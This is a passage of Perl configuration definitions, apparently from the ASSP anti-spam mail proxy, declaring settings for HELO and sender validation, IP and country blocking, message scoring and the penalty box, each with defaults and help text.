  'Use the list of blacklisted-helo hosts built by rebuildspamdb. Scoring is done with hlValencePB. <br /><input type="button" value=" Show Helo Blacklist" onclick="javascript:popFileEditor(\'spamdb.helo\',4);" />'],
['ValidateHeloLog','Enable Validate Helo Logging','0:nolog|1:standard|2:verbose',\&listbox,1,'(.*)',undef,
  ''],

['DoSuspiciousHelo','Score Suspicious HELOs','0:disabled|2:monitor|3:score',\&listbox,3,'(.*)',undef,
  'Score servers with SuspiciousHeloRe in Helo. Scoring is done  with shValencePB'],
['SuspiciousHeloRe','Regular Expression to Score Suspicious HELO**',80,\&textinput,'file:files/invalidhelo.txt','(.*)','ConfigCompileRe','Score Suspicious HELOs will check incoming HELOs for this. For example: file:files/invalidhelo.txt'],
['DoIPinHelo',' Score Suspicious IPs in Helo','0:disabled|2:monitor|3:score',\&listbox,3,'(.*)',undef,
  'Score servers with reversed IP number in Helo and check for mismatch with sending IP.',undef,undef,'msg001500','msg001501'],

['DoFakedLocalHelo','Block Forged Helos','0:disabled|1:block|2:monitor|3:score',\&listbox,1,'(.*)',undef,
  'Block remote servers that claim to come from our Local Domain/Local IPs/Local Host. Scoring with fhValencePB.'],


['myServerRe','Local Domains,IPs and Hostnames*',80,\&textinput,'','(.*)','ConfigMakeRe',
  'Local Domains, IP numbers and Hostnames are often use to fake (forge) the Helo. Include all IP addresses and hostnames for your server  here, localhost is already included. Include Local Domains of your choice here, if you deactivated the automatic use of the localDomains list.  For example: 11.22.33.44|mx.example.com|example.org','Basic'],
 ['noHelo','Don\'t Validate HELO for these IPs*',60,\&textinput,'','(.*)','ConfigMakeIPRe',
  'Enter IP addresses that you don\'t want to be HELO validated.<br />
   For example: 145.145.145.145|146.145',undef,'7'],
['heloBlacklistIgnore','Don\'t block these HELO\'s*',80,\&textinput,'','(.*)','ConfigMakeRe',
  'HELO / EHLO greetings on this list will be excluded from the HELO checks. For example: host123.isp.com|host456.*.com'],

 
['DoInvalidFormatHelo','Validate Format of HELO','0:disabled|1:block|2:monitor|3:score',\&listbox,1,'(.*)',undef,
  'If activated, the HELO is checked against the expression below. If the Regular Expression matches, the HELO is not ok. Scoring is done  with ihValencePB, set testmode with ihTestMode.'],

['invalidFormatHeloRe','Regular Expression to Validate Format of HELO**',80,\&textinput,'file:files/invalidhelo.txt','(.*)','ConfigCompileRe','Invalidate Format HELO will check incoming HELOs for this. Each regex can be assigned a weight. If the score which results from weight is less than ihValencePB, the message will not be blocked (even if \'block\' is set) but scored. <br />
 For example: \.user=>0.5|^\d+\.\d+\.\d+\.\d+$|^[^\.]+\.?$  or place them in a plain ASCII file one address per line: file:files/invalidhelo.txt'],
['validFormatHeloRe','Regular Expression to Validate Format of HELO*',80,\&textinput,'^(([a-z\d][a-z\d-]*)?[a-z\d]\.)+[a-z]{2,6}$','(.*)','ConfigCompileRe',
  'Validate Format HELO will check incoming HELOs according to rfc1123. <br />For example: ^(([a-z\d][a-z\d-]*)?[a-z\d]\.)+[a-z]{2,6}$ .<br /><hr />
  <div class="menuLevel1">Notes On Validate Helo</div>
  <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/validatehelo.txt\',3);" /> '],
 

    
[0,0,0,'heading','Validate Sender'],
['ValidateSenderLog','Enable Validate Sender Logging','0:nolog|1:standard|2:verbose|3:diagnostic',\&listbox,1,'(.*)',undef,
  ''],
['DoBlackDomain','Do Blacklisted Addresses and Domains','0:disabled|1:block|2:monitor|3:score', \&listbox,1,'(.*)',undef, ' DoBlackDomain uses blackListedDomains and weightedAddresses. Scoring is done  with blValencePB, testmode with blTestMode.'],

['DoBlackDomainWL','Blacklisting Addresses/Domains will overwrite WhiteListing',0,\&checkbox,'1','(.*)',undef,
  'Do blacklisting addresses & domains in messages which are marked whitelisted by whiteRe, whiteListedDomains, whiteListedIPs or whitelistdb.',undef,undef,'msg001670','msg001671'],
['DoBlackDomainNP','Blacklisting Addresses/Domains will overwrite NoProcessing',0,\&checkbox,'','(.*)',undef,
  'Do blacklisting addresses & domains in messages marked \'noprocessing\' by npRe, npSize, noProcessingDomains, noProcessingIPs or noProcessing.'],

['blackListedDomains','Blacklisted Domains*',60,\&textinput,'file:files/blackdomains.txt','(.*)','ConfigMakeRe','Addresses  and Domains from which you always want to reject mail, they only send you spam. Note this matches the end of the address, so if you don\'t want to match subdomains then include the @. Note that example.com would also match spamexample.com but .example.com won\'t match example.com. abc@example.com will match abc@example.com but won\'t match bbc@example.com. Wildcards are supported. <a href=http://assp.cvs.sourceforge.net/viewvc/assp/assp/files/blackdomains.txt target=files >newest file is here</a>','','9'],
['NotGreedyBlackDomain','Only the envelope-sender is added/compared to the BlackDomainlist',0,\&checkbox,'','(.*)',undef,'If not enabled all addresses in the FROM, SENDER, REPLY-TO, ERRORS-TO, or LIST-* header fields are checked.'],

['noBlackDomain','Don\'t do Blacklisted for these Addresses and Domains* ',80,\&textinput,'','(.*)','ConfigMakeSLRe',
 ' Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com). Wildcards are supported (fribo*@example.com).'],

['weightedAddresses','Blackish & Whitish Addresses** ',80,\&textinput,'file:files/blackAddresses.txt','(.*)','ConfigMakeSLRe',' Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com). Wildcards are supported. <span class="positive"> A positive weight will make the address \'blackish\'. A negative weight will make the address into \'whitish\'.</span> For example: fribo*@example.com|<span class="positive">@*.gov=>-0.5</span>|@*.biz=>0.5 .'],

['DoMsgID','Check Message IDs','0:disabled|2:monitor|3:score',\&listbox,3,'(.*)',undef,
  'Score messages with missing/suspicious/invalid Message-ID. Scoring is done by midmValencePB / midsValencePB / midiValencePB .',undef,undef,'msg001700','msg001701'],
['noMsgID','Don\'t Validate Message-IDs for these IPs*',80,\&textinput,' 127.0.0.|192.168.|10.','(\S*)','ConfigMakeIPRe','Enter IP addresses that you don\'t want to be Message-ID validated, separated by pipes (|). For example: 127.0.0.1|192.168.',undef,'7','msg001710','msg001711'],
['validMsgIDRe','Regular Expression to Validate Format of Message-ID*',80,\&textinput,'^.+@.+\..+$','(.*)','ConfigCompileRe',
  'Check Message IDs will check incoming messages for valid Message-IDs. <br />For example: ^.+@.+\..+$  ',undef,undef,'msg001720','msg001721'],
['invalidMsgIDRe','Regular Expression to Invalidate Format of Message-ID**',80,\&textinput,'','(.*)','ConfigCompileRe',
  'Check Message IDs will check incoming messages for invalid Message-IDs.',undef,undef,'msg001730','msg001731'],

['DoNoValidLocalSender','Check External Sender for Local Address  ','0:disabled|1:block|2:monitor|3:score',\&listbox,1,'(.*)',undef,
  'If activated, each external sender from a domain listed in localDomains is checked against LocalAddresses_Flat, LDAP or is verified using VRFY. An external sender is a sender from an IP not in acceptAllMail, not authenticated and not coming through the relayPort.Scoring is done  with flValencePB, testmode with flsTestMode.'],


   
['DoNoSpoofing','Block Local Addresses from External Sender Alltogether','0:disabled|1:block|2:monitor|3:score',\&listbox,3,'(.*)',undef,
  'If activated, each external sender address with a domain listed in localDomains is regarded a spoofed address. An external sender is a sender from an IP not in acceptAllMail, not authenticated and not coming through the relayPort. flValencePB is used for scoring, Testmode can be set with flsTestMode.'],
['DoNoSpoofing4From','Check Spoofing for \'From:\' Addresses',0,\&checkbox,1,'(.*)',undef,'check spoofing also for \'From:\' addresses.'],
['noSpoofingCheckIP','Don\'t do Spoofing Check for these IPs* ',80,\&textinput,'','(.*)','ConfigMakeIPRe',
 'Enter IP numbers and Hostnames that you don\'t want to be checked for spoofing. For example:145.145.145.145|145.146.','','7'],
['noSpoofingCheckDomain','Don\'t do Spoofing Check for these Addresses/Domains* ',80,\&textinput,'','(.*)','ConfigMakeSLRe',
 ' Accepts specific addresses (user@example.com), user parts (user) or entire domains (@example.com). Wildcards are supported (fribo*@example.com).'],

['DoRFC522Sender','Validate Sender Address to conform with RFC5322',0,\&checkbox,'1','(.*)',undef,'Sender must be a valid address to conform with RFC5322.'],
['DoPTRCheck','Reversed Lookup','0:disabled|2:monitor|3:score',\&listbox,0,'(.*)',undef,
  'If activated, each sender IP is checked for a PTR record. This requires an installed Net::DNS module in PERL. Scoring is done  with ptmValencePB.'],


['DoPTRCheckInvalid','Reversed Lookup FQDN Validation',0,\&checkbox,'1','(.*)',undef,
  'If activated - and Reversed Lookup is activated -, the PTR-FQDN record is checked against invalidPTRRe & validPTRRe. Scoring is done  with ptiValencePB '],
['invalidPTRRe','Regular Expression to Invalidate Format of PTR**',80,\&textinput,'file:files/invalidptr.txt','(.*)','ConfigCompileRe',
  'Validate Format PTR will check PTR records for this. <br />
  <a href=http://assp.cvs.sourceforge.net/viewvc/assp/assp/files/invalidptr.txt target=files >newest files is here</a>'],
['validPTRRe','Regular Expression to Validate Format of PTR*',80,\&textinput,'file:files/validptr.txt','(.*)','ConfigCompileRe',
  'Validate Format PTR will check PTR records for this. If found, the PTR will be considered valid<br />
  <a href=http://assp.cvs.sourceforge.net/viewvc/assp/assp/files/validptr.txt target=files ><span class="positive">newest example file is here</a>'],
['whitePTRRe','Regular Expression to whitelist a PTR/IP*',80,\&textinput,'file:files/whiteptr.txt','(.*)','ConfigCompileRe',
  'Whitelist PTR will check PTR records for this. If found, the IP will be whitelisted<br />
  <a href=http://assp.cvs.sourceforge.net/viewvc/assp/assp/files/whiteptr.txt target=files ><span class="positive">newest example file is here</a>'],
['PTRCacheExp','Reversed Lookup Cache Refresh Interval',4,\&textinput,240,'([\d\.]+)','configUpdatePTRCR',
  'IPs in cache will be removed after this interval in hours. 0 will disable the cache.  <input type="button" value=" show cache" onclick="javascript:popFileEditor(\'pb/pbdb.ptr.db\',5);" />'],
['DoDomainCheck','Validate MX or A Record','0:disabled|1:block|2:monitor|3:score',\&listbox,0,'(.*)',undef,
  'If activated, the sender address and each address found in the following header lines (ReturnReceipt:, Return-Receipt-To:, Disposition-Notification-To:, Return-Path:, Reply-To:, Sender:, Errors-To:, List-...:) is checked for a valid MX or A record. Scoring is done for non existing MX record and non existing A record - a messages failes (block), if both records are not found.',undef,undef,'msg001870','msg001871'],

['MXACacheExp','Validate Domain MX Cache Refresh Interval',4,\&textinput,7,'(\d+\.?\d*|)','configUpdateMXACR',
  'IP\'s in cache will be removed after this interval in days. 0 will disable the cache.<input type="button" value=" Show MX Cache" onclick="javascript:popFileEditor(\'pb/pbdb.mxa.db\',5);" />',undef,undef,'msg001880','msg001881'],

['DoNoFrom','Check For Existing From Header ','0:disabled|2:monitor|3:score',\&listbox,3,'(.*)',undef,
  'Scoring is done  with fromValencePB.'],
['removeDispositionNotification','Remove Disposition Notification Headers',0,\&checkbox,'1','(.*)',undef,
  'If set, all headers "ReturnReceipt: , Return-Receipt-To: and Disposition-Notification-To:" will be removed (except whitelisted and noprocessing mails). Select this to prevent unwanted whitelisting of spammers . An other way to prevent autowhitelisting because of an autorespond is to use redRe .<br /><hr />
  <div class="menuLevel1">Notes On Validate Sender</div>
  <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/validatesender.txt\',3);" />'],

[0,0,0,'heading','IP Blocking'],


  
['DelayIP','Simple IP Greylisting',10,\&textinput,25,'(.*)',undef,
  'Enable simple delaying for IP\'s in black penaltybox with totalscore above this value. A value of zero disables this feature.',undef,undef,'msg009320','msg009321'],
['DelayIPTime','Simple IP Greylisting Embargo Time',5,\&textinput,1,'(.*)',undef,
  'Enter the number of minutes for which delivery, related with IP address of the sending host, is refused with a temporary failure.'],
['noBlockingIPs','Do not check these IPs in IP-based filters*',40,\&textinput,'','(.*)','ConfigMakeIPRe','Manually maintained list of IP numbers and Hostnames which should not be used in in IP-based filters like ValidateRBL.  An IP range is defined e.g. \'182.82.10.\'. CIDR notation is accepted (182.82.10.0/24). Hyphenated ranges can be used (182.82.10.0-182.82.10.255)','','7'],


['DoDenySMTP','Do Deny Connections from these IPs','0:disabled|1:block|2:monitor',\&listbox,1,'(.*)',undef,
 'If activated, the IP is checked against denySMTPConnectionsFrom. Testmode can be set with pbTestMode.'],
['denySMTPConnectionsFrom','Deny Connections from these IPs*',40,\&textinput,'','(.*)','ConfigMakeIPRe','Manually maintained list of IP numbers and Hostnames which should be blocked. IP numbers and Hostnames in noPB, acceptAllMail, ispip, whiteListedIPs, noProcessingIPs, noBlockingIPs will pass. For example: server.example.com|145.145.145.145|145.146.','','7'],
['DoDenySMTPstrict','Do Deny Connections from these IP numbers and Hostnames Early','0:disabled|1:block|2:monitor',\&listbox,1,'(.*)',undef,
 'If activated, the IP is checked against denySMTPConnectionsFromAlways.  '],
['denySMTPConnectionsFromAlways','Deny Connections from these IP\'s Strictly*',40,\&textinput,'file:files/denyalways.txt','(.*)','ConfigMakeIPRe',
 'List of IP numbers and Hostnames which should <b>strictly</b> be blocked before body and header is downloaded.  IP numbers and Hostnames in noPB, acceptAllMail, ispip, whiteListedIPs, noProcessingIPs, noBlockingIPs will pass. ',undef,'7','msg002030','msg002031'],
['denySMTPLog','Enables Logging for \'Deny SMTP Connections From\'','0:nolog|1:standard|2:verbose',\&listbox,1,'(.*)',undef,''],

['DenyError','Deny Error',80,\&textinput,'554 5.7.2 Service denied, closing transmission channel','([25]\d\d .*)',undef,'SMTP error message to reject connections. Will be used from  and denySMTPConnectionsFromAlways and DoPenaltyExtreme. For example: 554 5.7.2 Service denied, closing transmission channel. '],

['DoSameSubject','Check Number of Same Subjects','0:disabled|1:block|2:monitor|3:score',\&listbox,1,'(.*)',undef,
 'Scoring is done  with isValencePB.'],

['maxSameSubject','Limit Number of IP numbers  Per Subject',0,\&textinput,'5','(\d?\d?\d?)',undef,
 'The number of equal subjects during  maxSameSubjectExpiration. If a subject appears more often than this it will be banned from future connections until the expiration is reached. 5 connections are typically enough. If left blank or 0, there is no limit imposed by ASSP.'],

['maxSameSubjectExpiration','Expiration of Limit Number',5,\&textinput,'1800','(\d?\d?\d?\d?)',undef,
  'The number of seconds that must pass before a subject blocked by maxSameSubject is allowed to connect again.'],
  
['DoFrequencyIP','Check Frequency - Maximum Connections Per IP','0:disabled|1:block|2:monitor|3:score',\&listbox,1,'(.*)',undef,
 'Scoring is done  with ifreqValencePB.'],

['maxSMTPipConnects','Maximum Frequency of Connections Per IP ',3,\&textinput,'10','(\d?\d?\d?)',undef,
 'The maximum number of SMTP connections an IP Address can make during the maxSMTPipDuration (IP Address Frequency Duration). If a server makes more than this many connections to ASSP within the maxSMTPipDuration (IP Address Frequency Duration) it will be banned from future connections until the maxSMTPipExpiration (IP Address Frequency Expiration) is reached. This can be used to prevent server overloading and DoS attacks. 10 connections are typically enough. If left blank or 0, there is no limit imposed by ASSP. IP numbers in noPB, noDelay, acceptAllMail, ispip, whiteListedIPs, noProcessingIPs, PB-whitebox are excluded from SMTP session limiting, whitelisted and noprocessing addresses are honored. '],
['maxSMTPipDuration','Maximum Frequency of Connections Per IP Duration',5,\&textinput,'90','(\d?\d?\d?\d?)',undef,
 'The window (in seconds) during which the maxSMTPipConnects (IP Frequency) (see above for more details) will be scrutinized for each IP.'],
['maxSMTPipExpiration','Expiration of Maximum Frequency',5,\&textinput,'3600','(\d?\d?\d?\d?)',undef,
 'The number of seconds that must pass before an IP address blocked by the maxSMTPipConnects (IP Address Frequency) setting is allowed to connect again.'],
['DoDomainIP','Check Number of IP numbers Per Domain','0:disabled|1:block|2:monitor|3:score',\&listbox,0,'(.*)',undef,
 'Scoring is done  with idValencePB.'],

['maxSMTPdomainIP','Limit Number of IP numbers  Per Domain',0,\&textinput,'10','(\d?\d?\d?)',undef,
 'The number of IP(subnet) switches a domain may have during the maxSMTPdomainIPExpiration (Limit Different IP numbers Per Domain Expiration). If a domain switches more often than this it will be banned from future connections until the Expiration is reached. 10 connections are typically enough. If left blank or 0, there is no limit imposed by ASSP.  '],

['maxSMTPdomainIPExpiration','Expiration of Limit Number',5,\&textinput,'1800','(\d?\d?\d?\d?)',undef,
  'The number of seconds that must pass before a domain blocked by maxSMTPdomainIP settingis allowed to connect again.'],
['maxSMTPdomainIPLD','Do Not Limit Different IP numbers For Local Domains*',0,\&checkbox,1,'(.*)',undef,
  'This prevents local domains from limiting.'],
['maxSMTPdomainIPWL','Do Not Limit Different IP numbers For These Domains*',60,\&textinput,'gmx.de|t-online.de|yahoo.com|hotmail.com|gmail.com','(.*)','ConfigMakeRe',
  'This prevents specific domains from limiting. For example: yahoo.com|hotmail.*.com|gmail.com<br /><hr />
  <div class="menuLevel1">Notes On IP Blocking</div>
  <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/ipblocking.txt\',3);" />'],

[0,0,0,'heading','SenderBase '],
['SenderBaseLog','Enable SenderBase Logging','0:nolog|1:standard|2:verbose',\&listbox,1,'(.*)',undef,
  ''],
['SBtimeout','Net::SenderBase Timeout',3,\&textinput,10,'(.*)',undef, 
'Net::SenderBase will timeout after this many seconds.'],
['DoOrgWhiting','Do Organization Scoring <a href="http://www.senderbase.org/" target=wiki><img height=12 width=12 src="' . $wikiinfo . '" alt="SenderBase" /></a>','0:disabled|2:monitor|3:score',\&listbox,3,'(.*)',undef,
   'If activated, each sending IP address has its assigned organization / domain
looked up and scored with sworgValencePB. This requires an installed <a href="http://search.cpan.org/search?query=Net::SenderBase" rel="external">Net::SenderBase</a> module in PERL. '],


['whiteSenderBase','White Organizations and Domains in SenderBase**  ',80,\&textinput,'file:files/whiteorg.txt','(.*)','ConfigCompileRe','If the organization or domain  in the <a href="http://www.senderbase.org/" rel="external">SenderBase</a> IP description matches this Perl regular expression the message will be considered non-spam, the total messagescore will be decreased by sworgValencePB. <a href=http://assp.cvs.sourceforge.net/viewvc/assp/assp/files/whiteorg.txt target=files ><span class="positive">newest example file is here</a>'],
['DoOrgBlocking','Do Organization Blocking','0:disabled|1:block|2:monitor|3:score',\&listbox,2,'(.*)',undef,
   'If activated, each sending IP address has its assigned organization
looked up . This requires an installed Net::SenderBase module in PERL. Scoring is done  with sborgValencePB, Testmode can be set with sbTestMode.'],
['blackSenderBase','Blacklisted Organizations and Domains in SenderBase** ',80,\&textinput,'','(.*)','ConfigCompileRe','If the organization or domain in the <a href="http://www.senderbase.org/" rel="external">SenderBase</a> IP description matches this Perl regular expression the message will be considered spam.'],

['DoCountryBlocking','Do Country Blocking','0:disabled|1:block|2:monitor|3:score',\&listbox,2,'(.*)',undef,
   'If activated, each sending IP address has it\'s assigned country
looked up and compared to CountryCodeBlockedRe. This requires an installed Net::SenderBase module in PERL. Testmode can be set with sbTestMode, Messages from these countries will increase the total MessageScore using bccValencePB.'],

['CountryCodeBlockedRe','Blocked Countries**',80,\&textinput,'','(.*)','ConfigCompileRe',
  'Messages from IP numbers based in these countries will be blocked if DoCountryBlocking is set accordingly. For example: CN|KR|RU|JP|TR|TH|PL|LT|CL|RO. "all" will block all foreign countrycodes which are not in \'Suspicious Country Codes\' or \'Ignore Country Codes\'. See: <a href="http://www.iso.org/iso/country_codes/iso_3166_code_lists/english_country_names_and_code_elements.htm" rel="external">English country names and code elements</a>. '],


['DoSenderBase','Do Suspicious Country Scoring','0:disabled|2:monitor|3:score',\&listbox,3,'(.*)',undef,
   'If activated, each sending IP address has it\'s assigned country
looked up and compared to CountryCodeRe. This requires an installed Net::SenderBase module in PERL. Testmode can be set with sbTestMode.'],
['CountryCodeRe','Suspicious Countries**',80,\&textinput,'CN|NG|UA|GR|HU|SA|IN|IE|PT|MD|PE|CZ|TW|BR|CL|ID|PH|CN|KR|RU|JP|TR|TH|PL|LT|CL|RO','(.*)','ConfigCompileRe',
  'Messages from IP numbers based in these countries will increase the MessageScore. For example: CN|NG|UA|GR|HU|SA|IN|IE|PT|MD|PE|CZ|TW|BR|CL|ID|PH. Messages from these countries will increase the total MessageScore using sbsccValencePB.'],

['NoCountryCodeRe','Ignore Country Codes from these Countries*',80,\&textinput,'','(.*)','ConfigCompileRe',
  'Messages from IP numbers based in these countries will will be ignored in this check.'],

['MyCountryCodeRe','Home Countries**',80,\&textinput,'','(.*)','ConfigCompileRe',
  'Put here your own country code(s) (for example: US). Messages from IP numbers based in these countries will decrease the total MessageScore using sbhccValencePB, messages from other countries will increase the total MessageScore using sbfccValencePB if ScoreForeignCountries is set. '],
['ScoreForeignCountries','Score Foreign Countries',0,\&checkbox,'1','(.*)',undef,
  'Messages from countries not in MyCountryCodeRe will increase the total messageScore using sbfccValencePB.'],

['SBCacheExp','Country Cache Refresh Interval',4,\&textinput,3,'([\d\.]+)','configUpdateSBCR',
  'IPs in cache will be removed after this interval in days. 0 will disable the cache.  <input type="button" value=" show cache" onclick="javascript:popFileEditor(\'pb/pbdb.sb.db\',5);" /><br /><hr />
  <div class="menuLevel1">Country Codes</div>
  <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/countries.txt\',3);" />'],
[0,0,0,'heading','Message Scoring '],
['DoPenaltyMessage','MessageScoring','0:disabled|1:block|2:monitor|4:tagging',\&listbox,1,'(.*)',undef,'If this feature is selected, the total score for all checks during a message is used to determine if the email should be considered Spam. If the combined score is greater than MessageScoringLowerLimit (MessageLimit for WarningTag) and less than or equal MessageScoringUpperLimit (MessageLimit for Blocking) the message will not be blocked but get the MessageScoringWarningTag. If the combined score is greater than the MessageScoringUpperLimit and blocking is selected the message will be blocked. If tagging is selected the message will not be blocked but tagged with spamSubject. Testmode can be set with msTestMode. ','Basic'],

['MessageLog','Enable Message Scoring logging','0:nolog|1:standard|2:verbose',\&listbox,1,'(.*)',undef,
  ''],
['spamFriends','Spam Friends **',80,\&textinput,'','(.*)','ConfigMakeSLRe',
 'A list of local user addresses that when matched will reduce the messagescore with friendsValencePB. This will make the scoring filter more softly. if you use negative weights here, the messagescore will be increased and the scoring filter will be more sharply. Accepts specific addresses (user@domain.com), user parts (user) or entire domains (@domain.com). Wildcards are supported (fribo*@domain.com). A second parameter separated by "=>" specifies the weight (multiplier) of friendsValencePB (default = -10). For example: @example.com=>0.5 will add -5 to the score of mails from @example.com. '],
['friendsValencePB','<span class="positive">Spam Friends Score</span>',3,\&textinput,-10,'(-?.*)','ConfigChangeValencePB','<span class="positive"> Bonus MessageScoring if the recipient is in spamFriends.</span>'],


['MessageScoringLocal','MessageScoring on Local Senders',0,\&checkbox,'','(.*)',undef,'MessageScoring will overwrite Local'],
['MessageScoringLowerLimit','MessageScoring Lower Limit ',3,\&textinput,47,'(.*)',undef,'MessageScoring will tag messages with totalscore higher than this limit and not higher than MessageScoringUpperLimit.  '],
['MessageScoringWarningTag','Warning Tag',20,\&textinput,'[PossibleSpam]','(.*)',undef,'Used instead of spamSubject if totalscore is  higher than MessageScoringLowerLimit and not higher than MessageScoringUpperLimit. '],
['MessageScoringUpperLimit','MessageScoring Upper Limit',3,\&textinput,50,'(.*)',undef,'If MessageScoring is done  to block, it will block messages whose totalscore is  equal or higher than this threshold.<hr /><div class="menuLevel1">Notes On Message Scoring</div>
  <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/messagescoring.txt\',3);" />'],


[0,0,0,'heading','PenaltyBox '],

['DoPenalty','IP Scoring','0:disabled|2:monitor',\&listbox,2,'(.*)',undef,'The PenaltyBox is a temporary position of low esteem awarded for a perceived misdeed. It scores IP numbers based on some events (<a href="./#baValencePB">see  penalty scores</a> ) and writes them into a BlackBox. The total is used by DoPenaltyMessage for assigning a history: pbh1ValencePB, pbh2ValencePB, pbh3ValencePB. The total is also used by DelayIP.
There is also an extreme level - PenaltyExtreme - handled by DoPenaltyExtreme. The WhiteBox stores IP numbers  which should not be put into the BlackBox. The WhiteBox is always enabled. If an address is in the whitelist or whitedomain, the IP goes into the WhiteBox too. The WhiteBox is one of the sources  Delaying/Greylisting uses to determine when delaying should not be done. <br />Entries in noPB (Don\'t do penalties for these IP numbers ) or ispip (ISP/Secondary MX Servers) will prevent from penalties. Select \'monitor\' to fill WhiteBox and BlackBox. This will not block IP numbers directly but enables  DoPenaltyMessage, DoPenaltyExtreme and DelayIP.'],
['PenaltyLog','Enable PenaltyBox logging','0:nolog|1:standard|2:verbose',\&listbox,1,'(.*)',undef,
  ''],

['PenaltyDuration','Penalty Interval',4,\&textinput,60,'(\d?\d?\d?\d?)','updatePenaltyDuration',
  "IP numbers will be kept in the BlackBox if their score exceeds the Penalty Limit during this interval in minutes."],
['PenaltyWarning','Penalty Warning',4,\&textinput,45,'(.*)',undef,
  'PB will tag messages from IP numbers whose totalscore exceeds this threshold during PenaltyDuration. <br /> For example: 45'],
['PenaltyWarningTag','Penalty Warning Tag',20,\&textinput,'[Possibly Spam]','(.*)',undef,'For example: [??]'],
['PenaltyLimit','Penalty Limit',4,\&textinput,50,'(.*)',undef,
  'PB will block messages from IP numbers whose totalscore exceeds this threshold during PenaltyDuration. <br />For example: 50'],

['PenaltyExpiration','Expiration Time',4,\&textinput,360,'(.*)','updatePenaltyExpiration',
  "Penalties with a score lower than PenaltyExtreme will expire after this number of minutes. If set to Zero the Penalty BlackBox will be deleted and started from scratch."],
  

['pbdb','PenaltyBox Database',40,\&textinput,'pb/pbdb','(\S*)',undef,'The directory/file with the penaltybox database files. For removal of entries from PenaltyBlackBox use <a target="main" href="./#noPB">noPB</a>.
 For removal of entries from WhiteBox  use <a  target="main" href="./#noPBwhite">noPBwhite</a>. For  whitelisting IP numbers use whiteListedIPs or noProcessingIPs. For blacklisting IP numbers use denySMTPConnectionsFrom and denySMTPConnectionsFromAlways. <br /><input type="button" value=" Show Black Box" onclick="javascript:popFileEditor(\'pb/pbdb.black.db\',4);" /><input type="button" value="Show White Box" onclick="javascript:popFileEditor(\'pb/pbdb.white.db\',4);" />

 '],
['noPB','Don\'t add these IP numbers and Hostnames to BlackBox* ',80,\&textinput,'','(.*)','ConfigMakeIPRe',
 'Enter IP numbers that you don\'t want to be in BlackBox. For example:145.145.145.145|145.146.','','7'],
['noPBwhite','Don\'t add these IP numbers to WhiteBox*',80,\&textinput,'file:files/nopbwhite.txt','(.*)','ConfigMakeIPRe',
 'Enter IP numbers and Hostnames that you don\'t want to be in WhiteBox. ','','7'],

['WhiteExpiration','Expiration Time for WhiteBox Entries',4,\&textinput,30,'(\d?\d?\d?\d?)',undef,,
  "The WhiteBox is always activated. IP numbers in WhiteBox will allow content-related checks like Bayesian, URIBL, Bomb but skip IP-related checks like RBL. WhiteBox entries will expire after this specified number of days. For example: 30"],

  
['PenaltyUseNetblocks','Use IP Netblocks',0,\&checkbox,'1','(.*)',undef,
  'Perform the IP address checks of the sending host based on the /24 subnet rather than on the specific IP. Part of DoPenalty '],

['CleanPBInterval','Clean Up PB Databases',10,\&textinput,6,'(\d+)',undef,
  'Delete outdated entries from blackbox and whitebox databases every this many hours.<br />
  Note: the current timeout must expire before the new setting is loaded, or you can restart.
  Defaults to 6 hours.'],


['PenaltyExtreme','Extreme Scoring Threshold',4,\&textinput,150,'(.*)',undef,
  ' For example: 150.'],



['ExtremeExpiration','Expiration Time for Extreme Penalties',4,\&textinput,7,'(.*)','updatePenaltyExpiration',
  "Penalties with score higher than PenaltyExtreme will expire after this number of days. If set to Zero nothing will be deleted. For example: 7"],

['DoExtremeExport','Do Export Penalty BlackBox Extreme',0,\&checkbox,'','(.*)',undef,  ''],
['DoExtremeExportAppend','Append Export File',0,\&checkbox,'','(.*)',undef,'Do not overwrite the export file but append to it.'],
['ExportUseNetblocks','Use IP Netblocks',0,\&checkbox,'','(.*)',undef,
  'Export the IP address  based on the /24 subnet  rather than on the specific IP. '],
['exportInterval','Export BlackBox Extreme File Interval',3,\&textinput,6,'(\d+)',undef,
  ' Exported Penalty Black Box Extreme File every this hours.<br />
  Defaults to 6 hours.'],
['exportExtremeBlack','Exported BlackBox Extreme File ',40,\&textinput,'file:files/exportedextreme.txt','(\S*)',undef, 'IPs in Penalty BlackBox which surpassed the extreme level will be regularly stored into this file.<br /><hr /><div class="menuLevel1">Notes On PenaltyBox</div>
  <input type="button" value="Notes" onclick="javascript:popFileEditor(\'notes/penaltybox.txt\',3);" /><br /><hr />'  ],

['globalClientName','client registration name',60,\&textinput,'','(.*)','configUpdateGlobalClient',
 'The Name of this global-client for registation on the global-server. This entry has to be the full qualified DNS-Name of the IP-address over which ASSP is doing HTTP-requests! If you are using a HTTP-Proxy, this should be the public IP-address of the last Proxy in chain! This DNS-Name has to be resolveable worldwide and the resolved IP-address has to match the ASSP-HTTP-connection-IP-address. It is not possible to use an IP-address in this field! Dynamic DNS-Names like "yourdomain.dyndns.org" are supported!<br />
 To use the global penalty box, you will need a paid subscription. To get registered and/or to get more information, please send an email with your personal/company details and the globalClientName to "assp.globalpb@thockar.com".<br />
 The name of this client has to be known by the global server before it could be registered from here. Please wait until you\'ve got an information, that your client name is known by the global server.<br />
 In addition to Compress::Zlib this requires an installed LWP::UserAgent module in PERL.',undef,undef,'msg008310','msg008311'],
['globalClientPass','client registration password',20,\&passnoinput,'','(.*)','configUpdateGlobalHidden','If the global client is registered on the global-server, you will see a number of "*" in this field. This field is readonly.',undef,undef,'msg008320','msg008321'],
['globalClientLicDate','client subscription expiration date',20,\&textnoinput,'','(.*)','configUpdateGlobalHidden','The date of license/subscription expiration for this global client. If this date is exceeded, no upload and download of global PB will be done! This field is readonly.',undef,undef,'msg008330','msg008331'],
['DoGlobalBlack','Enable the Global-Black-Penalty',0,\&checkbox,'','(.*)',undef,'Enables the upload and download of Black-Penalty-Box-Entries, if the client is registered on the global-PB-server.',undef,undef,'msg008340','msg008341'],
['globalValencePB','Value for Global-Black-PB Entries',3,\&textinput,20,'(.*)',undef, 'This penalty-value will be given to downloaded Black-Penalty-Box-Entries. As long as entries have the "GLOBALPB" state, they will never become extreme-Black. It is recommended to set this value above PenaltyLimit!',undef,undef,'msg008350','msg008351'],
['globalBlackExpiration','Expiration for Global-PB-Black Records',3,\&textinput,48,'(.*)',undef, 'Global-Black-Penalties will expire after this number of hours.',undef,undef,'msg008360','msg008361'],
